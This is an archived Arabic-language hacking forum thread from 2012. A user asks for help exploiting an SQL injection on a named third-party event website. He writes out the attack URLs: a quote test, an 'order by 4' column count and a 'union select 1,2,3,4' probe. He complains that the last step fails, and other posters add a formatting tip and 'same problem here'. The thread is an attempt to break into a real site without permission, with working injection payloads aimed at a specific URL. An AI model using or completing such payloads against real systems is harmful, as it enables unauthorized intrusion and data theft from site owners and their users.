المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : مشكله في استغلال ثغره sql اهل الخبره تعالووو



علاوي أبو البلاوي
05-31-2012, 11:38 AM
السلام عليكم ورحمه الله وبركاته

كيف حالكم شباب ان شاء الله طيبين

طبعا مشكلتي باختصار اني لما اجي اشوف الاعمده المصابه يجيني غلط في الصفحه او ان الرابط ما يشتغل يعني ما يوجد رابط بهذا الشكل

مثال :
انا عندي موقع مصاب بهذي الثغره

http://www.red-wing.org/event.php?id=84

وللتأكد نضيف علامه ( ' ) راح يطلع الموقع مصاب تمام

وعند استعلامي عن عدد الاعمده اكتشفت ان عدد الاعمده = 4

http://www.red-wing.org/event.php?id=84+order+by+4--

لاكن عند استعلامي عن الاعمده المصابه راح يكون الرابط كالتالي

www.red-wing.org/event.php?id=84+union+select+1,2,3,4--

لاكن ادخلو على الرابط وشوفو وش يجيكم
يجي يقول الصفحه غلط وزي كذ1

اتمنى اني اجد حل لهذي المشكله لاني بصراحه تعبت وانا ادور حل

ومشكورين جزيل الشكر مقدماً:)

Ace
05-31-2012, 02:07 PM
اكتب استعلام الاعمدة بي فراغات لانو طالع عندي غلط !!

علاوي أبو البلاوي
05-31-2012, 03:35 PM
هذا هو الموقع
http://www.red-wing.org/ event.php?id=84

http://www.red-wing.org/ event.php?id=84 +order+ by+ 4

http://www.red-wing.org/ event.php?id=84 + uonion +select +1,2,3,4 --

امسحو الفراغات
وشكرا اخ Ace على التنبيه

الذيب الغامض
05-31-2012, 06:01 PM
مشكورين مشكلتي مثلك

علاوي أبو البلاوي
05-31-2012, 11:34 PM
مشكورين مشكلتي مثلك

ههههه الله يعين بس